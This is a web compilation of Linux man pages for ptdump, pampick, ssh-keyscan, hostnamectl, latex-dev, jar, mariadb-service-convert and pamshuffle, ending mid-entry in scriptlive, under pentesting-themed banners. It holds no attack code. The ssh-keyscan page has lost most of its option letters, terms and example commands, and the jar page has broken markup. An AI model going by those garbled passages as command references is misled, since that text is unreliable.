             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

655 - Linux cli command ptdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ptdump and provides detailed information about the command ptdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ptdump.

NAME 🖥️ ptdump 🖥️

Lets you dig into the contents of a PyTables file.

SYNOPSIS

ptdump [ -dvacih ] [ -R ** **start,stop,step] file[:nodepath]

DESCRIPTION

Allows you look into the contents of your PyTables files. It lets you see not only the data but also the metadata (that is, the structure and additional information in the form of attributes).

OPTIONS

A summary of options is included below.

-d
Dump data information on leaves.

-v
Dump more metainformation on nodes.

-a
Show attributes in nodes (only useful when -v or -d are active).

-c
Show info of columns in tables (only useful when -v or -d are active).

-i
Show info of indexed column (only useful when -v or -d are active).

**-R **start,stop,step
Select a range of rows in the form “start,stop,step” for all leaves.

-h
Print help on usage.

SEE ALSO

ptrepack(1).
These utilities are documented fully by PyTables user’s manual.

AUTHOR

This manual page was written by Francesc Altet <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

656 - Linux cli command pampick

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pampick and provides detailed information about the command pampick, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pampick.

.

NAME 🖥️ pampick 🖥️

pick images out of a multi-image Netpbm image stream

SYNOPSIS

pampick

image_sequence_number

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pampick reads a PNM or PAM image stream as input. It picks certain images from the stream and copies them to a new image stream on Standard Output.

You identify the images to pick by sequence number within the stream. Each image_sequence_number is a decimal sequence number, with zero meaning the first image.

The arguments must be in increasing order, without duplicates. The results are undefined if they are not. (There are a number of enhancements that might be made in future releases that would make whatever pampick does today when you break this rule change). pampick outputs the images in the same order as they appear in the input. If you specify no sequence numbers, pampick outputs nothing. If you specify a sequence number that is beyond what is in the input, pampick fails with an error message to that effect.

pampick always reads the entire input stream. (This is helpful when the input stream is a pipe and whatever is feeding the pipe would be upset if it filled up or broke).

To see how many images, and what kind, are in a stream, use pamfile.

To extract all the images in a stream into separate named files, use pamsplit.

OPTIONS

There are no command line options defined specifically for pampick, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pamfile(1) , pamsplit(1) , pnm(1) , pam(1) , cat man page

HISTORY

pampick was new in Netpbm 10.31 (December 2005);

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pampick.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

657 - Linux cli command ssh-keyscan

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ssh-keyscan and provides detailed information about the command ssh-keyscan, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ssh-keyscan.

is a utility for gathering the public SSH host keys of a number of hosts. It was designed to aid in building and verifying

files, the format of which is documented in

provides a minimal interface suitable for use by shell and perl scripts.

uses non-blocking socket I/O to contact as many hosts as possible in parallel, so it is very efficient. The keys from a domain of 1,000 hosts can be collected in tens of seconds, even when some of those hosts are down or do not run

For scanning, one does not need login access to the machines that are being scanned, nor does the scanning process involve any encryption.

Hosts to be scanned may be specified by hostname, address or by CIDR network range (e.g. 192.168.16/28). If a network range is specified, then all addresses in that range will be scanned.

The options are as follows:

Force

to use IPv4 addresses only.

Force

to use IPv6 addresses only.

Request certificates from target hosts instead of plain keys.

Print keys found as SSHFP DNS records. The default is to print keys in a format usable as a

file.

Read hosts or

pairs from

one per line. If

is supplied instead of a filename,

will read from the standard input. Names read from a file must start with an address, hostname or CIDR network range to be scanned. Addresses and hostnames may optionally be followed by comma-separated name or address aliases that will be copied to the output. For example:

192.168.11.0/24 10.20.1.1 happy.example.org 10.0.0.1,sad.example.org

Hash all hostnames and addresses in the output. Hashed names may be used normally by

and

but they do not reveal identifying information should the file’s contents be disclosed.

Specify a key/value option. At present, only a single option is supported:

Selects a hash algorithm to use when printing SSHFP records using the

flag. Valid algorithms are

and

The default is to print both.

Connect to

on the remote host.

Set the timeout for connection attempts. If

seconds have elapsed since a connection was initiated to a host or since the last time anything was read from that host, the connection is closed and the host in question considered unavailable. The default is 5 seconds.

Specify the type of the key to fetch from the scanned hosts. The possible values are

or

Multiple values may be specified by separating them with commas. The default is to fetch

and

keys.

Verbose mode: print debugging messages about progress.

If an ssh_known_hosts file is constructed using

without verifying the keys, users will be vulnerable to

attacks. On the other hand, if the security model allows such a risk,

can help in the detection of tampered keyfiles or man in the middle attacks which have begun after the ssh_known_hosts file was created.

Print the RSA host key for machine

Search a network range, printing all supported key types:

Find all hosts from the file

which have new or different keys from those in the sorted file

$ ssh-keyscan -t rsa,dsa,ecdsa,ed25519 -f ssh_hosts | \ sort -u - ssh_known_hosts | diff ssh_known_hosts -

wrote the initial version, and

added support for protocol version 2.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

658 - Linux cli command hostnamectl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hostnamectl and provides detailed information about the command hostnamectl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hostnamectl.

NAME 🖥️ hostnamectl 🖥️

Control the system hostname

SYNOPSIS

hostnamectl [OPTIONS…] {COMMAND}

DESCRIPTION

hostnamectl may be used to query and change the system hostname and related settings.

systemd-hostnamed.service(8) and this tool distinguish three different hostnames: the high-level “pretty” hostname which might include all kinds of special characters (e.g. “Lennarts Laptop”), the “static” hostname which is the user-configured hostname (e.g. “lennarts-laptop”), and the transient hostname which is a fallback value received from network configuration (e.g. “node12345678”). If a static hostname is set to a valid value, then the transient hostname is not used.

Note that the pretty hostname has little restrictions on the characters and length used, while the static and transient hostnames are limited to the usually accepted characters of Internet domain names, and 64 characters at maximum (the latter being a Linux limitation).

Use systemd-firstboot(1) to initialize the system hostname for mounted (but not booted) system images.

COMMANDS

The following commands are understood:

status

Show system hostname and related information. If no command is specified, this is the implied default.

Added in version 195.

hostname [NAME]

If no argument is given, print the system hostname. If an optional argument NAME is provided then the command changes the system hostname to NAME. By default, this will alter the pretty, the static, and the transient hostname alike; however, if one or more of –static, –transient, –pretty are used, only the selected hostnames are changed. If the pretty hostname is being set, and static or transient are being set as well, the specified hostname will be simplified in regards to the character set used before the latter are updated. This is done by removing special characters and spaces. This ensures that the pretty and the static hostname are always closely related while still following the validity rules of the specific name. This simplification of the hostname string is not done if only the transient and/or static hostnames are set, and the pretty hostname is left untouched.

The static and transient hostnames must each be either a single DNS label (a string composed of 7-bit ASCII lower-case characters and no spaces or dots, limited to the format allowed for DNS domain name labels), or a sequence of such labels separated by single dots that forms a valid DNS FQDN. The hostname must be at most 64 characters, which is a Linux limitation (DNS allows longer names).

Added in version 249.

icon-name [NAME]

If no argument is given, print the icon name of the system. If an optional argument NAME is provided then the command changes the icon name to NAME. The icon name is used by some graphical applications to visualize this host. The icon name should follow the Icon Naming Specification[1].

Added in version 249.

chassis [TYPE]

If no argument is given, print the chassis type. If an optional argument TYPE is provided then the command changes the chassis type to TYPE. The chassis type is used by some graphical applications to visualize the host or alter user interaction. Currently, the following chassis types are defined: “desktop”, “laptop”, “convertible”, “server”, “tablet”, “handset”, “watch”, “embedded”, as well as the special chassis types “vm” and “container” for virtualized systems that lack an immediate physical chassis.

Added in version 249.

deployment [ENVIRONMENT]

If no argument is given, print the deployment environment. If an optional argument ENVIRONMENT is provided then the command changes the deployment environment to ENVIRONMENT. Argument ENVIRONMENT must be a single word without any control characters. One of the following is suggested: “development”, “integration”, “staging”, “production”.

Added in version 249.

location [LOCATION]

If no argument is given, print the location string for the system. If an optional argument LOCATION is provided then the command changes the location string for the system to LOCATION. Argument LOCATION should be a human-friendly, free-form string describing the physical location of the system, if it is known and applicable. This may be as generic as “Berlin, Germany” or as specific as “Left Rack, 2nd Shelf”.

Added in version 249.

OPTIONS

The following options are understood:

–no-ask-password

Do not query the user for authentication for privileged operations.

Added in version 195.

–static, –transient, –pretty

If status is invoked (or no explicit command is given) and one of these switches is specified, hostnamectl will print out just this selected hostname.

If used with hostname, only the selected hostnames will be updated. When more than one of these switches are specified, all the specified hostnames will be updated.

Added in version 195.

-H, –host=

Execute the operation remotely. Specify a hostname, or a username and hostname separated by “@”, to connect to. The hostname may optionally be suffixed by a port ssh is listening on, separated by “:”, and then a container name, separated by “/”, which connects directly to a specific container on the specified host. This will use SSH to talk to the remote machine manager instance. Container names may be enumerated with machinectl -H HOST. Put IPv6 addresses in brackets.

-M, –machine=

Execute operation on a local container. Specify a container name to connect to, optionally prefixed by a user name to connect as and a separating “@” character. If the special string “.host” is used in place of the container name, a connection to the local system is made (which is useful to connect to a specific users user bus: “–user –[email protected]”). If the “@” syntax is not used, the connection is made as root user. If the “@” syntax is used either the left hand side or the right hand side may be omitted (but not both) in which case the local user name and “.host” are implied.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

**–json=**MODE

Shows output formatted as JSON. Expects one of “short” (for the shortest possible output without any redundant whitespace or line breaks), “pretty” (for a pretty version of the same, with indentation and line breaks) or “off” (to turn off JSON output, the default).

-j

Equivalent to –json=pretty if running on a terminal, and –json=short otherwise.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

SEE ALSO

systemd(1), hostname(1), hostname(5), machine-info(5), systemctl(1), systemd-hostnamed.service(8), systemd-firstboot(1)

NOTES

Icon Naming Specification

https://standards.freedesktop.org/icon-naming-spec/icon-naming-spec-latest.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

659 - Linux cli command latex-dev

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command latex-dev and provides detailed information about the command latex-dev, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the latex-dev.

NAME 🖥️ latex-dev 🖥️

dev, pdflatex-dev, xelatex-dev, lualatex-dev, dvilualatex-dev, platex-dev, uplatex-dev - release candidate LaTeX testing

SYNOPSIS

latex-dev [first-line]

DESCRIPTION

These -dev executables are intended for testing upcoming LaTeX2e kernel changes. They correspond to new formats which have been tested by the LaTeX team for stability and usability. Thus, they are not arbitrary development snapshots; more like release candidates.

Wider testing by knowledgeable users is desired, indeed, is the main purpose for these executables to exist. Simply replacing the regular engine (e.g., pdflatex) with the -dev engine name (pdflatex-dev) is all that should be needed.

The lualatex-dev format is based on luahbtex, the luatex variant with harfbuzz enabled for glyph shaping.

Please report bugs in these -dev versions, like all LaTeX releases, following the procedure at https://www.latex-project.org/bugs.

SEE ALSO

latex(1).

The LaTeX home page is https://latex-project.org.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

660 - Linux cli command jar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jar and provides detailed information about the command jar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jar.

NAME 🖥️ jar 🖥️

create an archive for classes and resources, and manipulate or restore individual classes or resources from an archive

SYNOPSIS

jar [OPTION …] [ [--release VERSION] [-C dir] files] …

DESCRIPTION

The jar command is a general-purpose archiving and compression tool, based on the ZIP and ZLIB compression formats. Initially, the jar command was designed to package Java applets (not supported since JDK 11) or applications; however, beginning with JDK 9, users can use the jar command to create modular JARs. For transportation and deployment, it’s usually more convenient to package modules as modular JARs.

The syntax for the jar command resembles the syntax for the tar command. It has several main operation modes, defined by one of the mandatory operation arguments. Other arguments are either options that modify the behavior of the operation or are required to perform the operation.

When modules or the components of an application (files, images and sounds) are combined into a single archive, they can be downloaded by a Java agent (such as a browser) in a single HTTP transaction, rather than requiring a new connection for each piece. This dramatically improves download times. The jar command also compresses files, which further improves download time. The jar command also enables individual entries in a file to be signed so that their origin can be authenticated. A JAR file can be used as a class path entry, whether or not it’s compressed.

An archive becomes a modular JAR when you include a module descriptor, module-info.class, in the root of the given directories or in the root of the .jar archive. The following operations described in Operation Modifiers Valid Only in Create and Update Modes are valid only when creating or updating a modular jar or updating an existing non-modular jar:

  • --module-version

  • --hash-modules

  • --module-path

Note:

All mandatory or optional arguments for long options are also mandatory or optional for any corresponding short options.

MAIN OPERATION MODES

When using the jar command, you must specify the operation for it to perform. You specify the operation mode for the jar command by including the appropriate operation arguments described in this section. You can mix an operation argument with other one-letter options. Generally the operation argument is the first argument specified on the command line.

-c or --create
Creates the archive.

****-i=**FILE or **--generate-index=FILE
Generates index information for the specified JAR file.

-t or --list
Lists the table of contents for the archive.

-u or --update
Updates an existing JAR file.

-x or --extract
Extracts the named (or all) files from the archive.

-d or --describe-module
Prints the module descriptor or automatic module name.

OPERATION MODIFIERS VALID IN ANY MODE

You can use the following options to customize the actions of any operation mode included in the jar command.

-C DIR
Changes the specified directory and includes the files specified at the end of the command line.

jar [OPTION …] [ [--release VERSION] [-C dir] files]

****-f=**FILE or **--file=FILE
Specifies the archive file name.

--release VERSION
Creates a multirelease JAR file. Places all files specified after the option into a versioned directory of the JAR file named META-INF/versions/VERSION/, where VERSION must be must be a positive integer whose value is 9 or greater.

At run time, where more than one version of a class exists in the JAR, the JDK will use the first one it finds, searching initially in the directory tree whose VERSION number matches the JDK’s major version number. It will then look in directories with successively lower VERSION numbers, and finally look in the root of the JAR.

-v or --verbose
Sends or prints verbose output to standard output.

OPERATION MODIFIERS VALID ONLY IN CREATE AND UPDATE MODES

You can use the following options to customize the actions of the create and the update main operation modes:

****-e=**CLASSNAME or **--main-class=CLASSNAME
Specifies the application entry point for standalone applications bundled into a modular or executable modular JAR file.

****-m=**FILE or **--manifest=FILE
Includes the manifest information from the given manifest file.

-M or --no-manifest
Doesn’t create a manifest file for the entries.

****--module-version=VERSION
Specifies the module version, when creating or updating a modular JAR file, or updating a non-modular JAR file.

****--hash-modules=PATTERN
Computes and records the hashes of modules matched by the given pattern and that depend upon directly or indirectly on a modular JAR file being created or a non-modular JAR file being updated.

-p or --module-path
Specifies the location of module dependence for generating the hash.

****@file
Reads jar options and file names from a text file.

OPERATION MODIFIERS VALID ONLY IN CREATE, UPDATE, AND

GENERATE-INDEX MODES

You can use the following options to customize the actions of the create (-c or --create) the update (-u or --update ) and the generate-index (-i or **--generate-index=**FILE) main operation modes:

-0 or --no-compress
Stores without using ZIP compression.

OTHER OPTIONS

The following options are recognized by the jar command and not used with operation modes:

-h or --help[:compat]
Displays the command-line help for the jar command or optionally the compatibility help.

--help-extra
Displays help on extra options.

--version
Prints the program version.

EXAMPLES OF JAR COMMAND SYNTAX

  • Create an archive, classes.jar, that contains two class files, Foo.class and Bar.class.

    jar --create --file classes.jar Foo.class Bar.class

  • Create an archive, classes.jar, by using an existing manifest, mymanifest, that contains all of the files in the directory foo/.

    jar --create --file classes.jar --manifest mymanifest -C foo/

  • Create a modular JAR archive,foo.jar, where the module descriptor is located in classes/module-info.class.

    jar --create --file foo.jar --main-class com.foo.Main --module-version 1.0 -C foo/classes resources

  • Update an existing non-modular JAR, foo.jar, to a modular JAR file.

    jar --update --file foo.jar --main-class com.foo.Main --module-version 1.0 -C foo/module-info.class

  • Create a versioned or multi-release JAR, foo.jar, that places the files in the classes directory at the root of the JAR, and the files in the classes-10 directory in the META-INF/versions/10 directory of the JAR.

    In this example, the classes/com/foo directory contains two classes, com.foo.Hello (the entry point class) and com.foo.NameProvider, both compiled for JDK 8. The classes-10/com/foo directory contains a different version of the com.foo.NameProvider class, this one containing JDK 10 specific code and compiled for JDK 10.

    Given this setup, create a multirelease JAR file foo.jar by running the following command from the directory containing the directories classes and classes-10 .

    jar --create --file foo.jar --main-class com.foo.Hello -C classes . --release 10 -C classes-10 .

    The JAR file foo.jar now contains:

    % jar -tf foo.jar
    
    META-INF/
    META-INF/MANIFEST.MF
    com/
    com/foo/
    com/foo/Hello.class
    com/foo/NameProvider.class
    META-INF/versions/10/com/
    META-INF/versions/10/com/foo/
    META-INF/versions/10/com/foo/NameProvider.class
    

    As well as other information, the file META-INF/MANIFEST.MF, will contain the following lines to indicate that this is a multirelease JAR file with an entry point of com.foo.Hello.

    ...
    Main-Class: com.foo.Hello
    Multi-Release: true
    

    Assuming that the com.foo.Hello class calls a method on the com.foo.NameProvider class, running the program using JDK 10 will ensure that the com.foo.NameProvider class is the one in META-INF/versions/10/com/foo/. Running the program using JDK 8 will ensure that the com.foo.NameProvider class is the one at the root of the JAR, in com/foo.

  • Create an archive, my.jar, by reading options and lists of class files from the file classes.list.

    Note:

    To shorten or simplify the jar command, you can specify arguments in a separate text file and pass it to the jar command with the at sign (@) as a prefix.

    jar --create --file my.jar @classes.list

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

661 - Linux cli command mariadb-service-convert

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-service-convert and provides detailed information about the command mariadb-service-convert, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-service-convert.

NAME 🖥️ mariadb-service-convert 🖥️

service-convert - generate a mariadb.service file based on the current mysql/mariadb settings

DESCRIPTION

Use: Generate a mariadb.service file based on the current mysql/mariadb settings. This is to assist distro maintainers in migrating to systemd service definations from a user mysqld_safe settings in the my.cnf files.

Redirect output to user directory like /etc/systemd/system/mariadb.service.d/migrated-from-my.cnf-settings.conf

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

662 - Linux cli command pamshuffle

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamshuffle and provides detailed information about the command pamshuffle, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamshuffle.

.

Updated:

NAME 🖥️ pamshuffle 🖥️

Shuffle pixels of a Netpbm image

SYNOPSIS

pamshuffle [-column [-randomseed integer]] [pamfile]

Minimum unique abbreviations of option are acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamshuffle reads a Netpbm image as input and produces an output file with the pixels shuffled. The operation only changes the location of existing pixels; nothing is discarded or added.

By default, pixels change location within rows independently, but it is also possible to perform the same shuffle on every row, meaning the program is shuffling vertical columns of pixels. Either way, there is no vertical rearrangement; this means images consisting entirely of horizontal stripes, such as the national banners of Germany, Thailand and Ukraine, will be unchanged.

To shuffle vertically, or to perform a complete scramble, use pamshuffle together with pamflip. See examples below.

Input is from Standard Input if you don’t specify the input file pamfile.

Output is to Standard Output.

pamshuffle works on a multi-image stream. It operates on each image in the stream independently and produces a multi-image stream output.

The shuffling algorithm is the widely known Fisher-Yates method .

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamshuffle recognizes the following command line options:

-column
Shuffle vertical columns, i.e. perform the same movement on all rows. Without this option, the program shuffles each row independently.

-randomseed= integer
This is the seed for the random number generator that generates the pixels.

Use this to ensure you get the same image on separate invocations.

By default, pamshuffle uses a seed derived from the time of day and process ID, which gives you quite uncorrelated results in multiple invocations.

EXAMPLES

In the following example, output is to Standard Output. You will probably want to add redirection to somewhere useful.

  • pamshuffle is useful when you want to randomize the orderly output of image generators such as pamseq and pgmramp.

Produce five permutations of integers 0 to 15:

pgmramp -lr -maxval=15 16 5 | pamshuffle -plain
  • Shuffle columns:
pamshuffle -column image.ppm
  • Shuffle rows:
pamflip -cw image.ppm | pamshuffle | pamflip -ccw
  • Perform complete shuffle:
pamflip -cw image.ppm | pamshuffle | pamflip -ccw | pamshuffle

SEE ALSO

pamseq(1) , pgmramp(1) , pamflip(1) , ppmshift(1) , ppmspread(1) , pam(1)

HISTORY

pamshuffle was new in Netpbm 10.99 (June 2022).

AUTHOR

By Akira F. Urushibata. Contributed to the public domain by the author.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamshuffle.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

663 - Linux cli command scriptlive

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command scriptlive and provides detailed information about the command scriptlive, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the scriptlive.

NAME 🖥️ scriptlive 🖥️

re-run session typescripts, using timing information

SYNOPSIS

scriptlive [options] [-t] timingfile [-I|-B] typescript

DESCRIPTION

This program re-runs a typescript, using stdin typescript and timing information to ensure that input happens in the same rhythm as it originally appeared when the script was recorded.

The session is executed in a newly created pseudoterminal with the user’s $SHELL (or defaults to /bin/bash).

Be careful! Do not forget that the typescript may contains arbitrary commands. It is recommended to use “scriptreplay –stream in –log-in typescript” (or with –log-io instead of –log-in) to verify the typescript before it is executed by scriptlive.

The timing information is what script(1) outputs to file specified by –log-timing. The typescript has to contain stdin information and it is what script1 outputs to file specified by –log-in or –log-io.

OPTIONS

-I, –log-in file

